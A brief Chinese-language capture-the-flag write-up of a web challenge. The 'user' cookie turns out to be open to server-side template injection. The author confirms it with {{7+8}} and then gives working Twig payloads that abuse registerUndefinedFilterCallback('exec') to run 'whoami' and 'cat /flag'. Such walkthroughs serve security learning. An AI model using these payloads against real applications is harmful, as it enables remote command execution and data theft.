进入页面看见 flag和hint

点击flag就看到了输入框，tell me 你是谁

点击hint 查看源码

 

 

 根据提示，cookie处可能存在问题

在输入框随便输入个名字，然后抓包看看cookie

 

 

 

 

 

 

 

 

 看到cookie里user参数，可疑点SSTI注入，放包然后看浏览器页面；

 

 

 

点击注销，然后直接输入 测试代码

{{7+8}}        不抓包直接提交

 

 

 

哦了，构造payload吧

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}                就是在登录的情况下刷新页面抓包，再把user的内容改了

 

 

 

拿flag

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}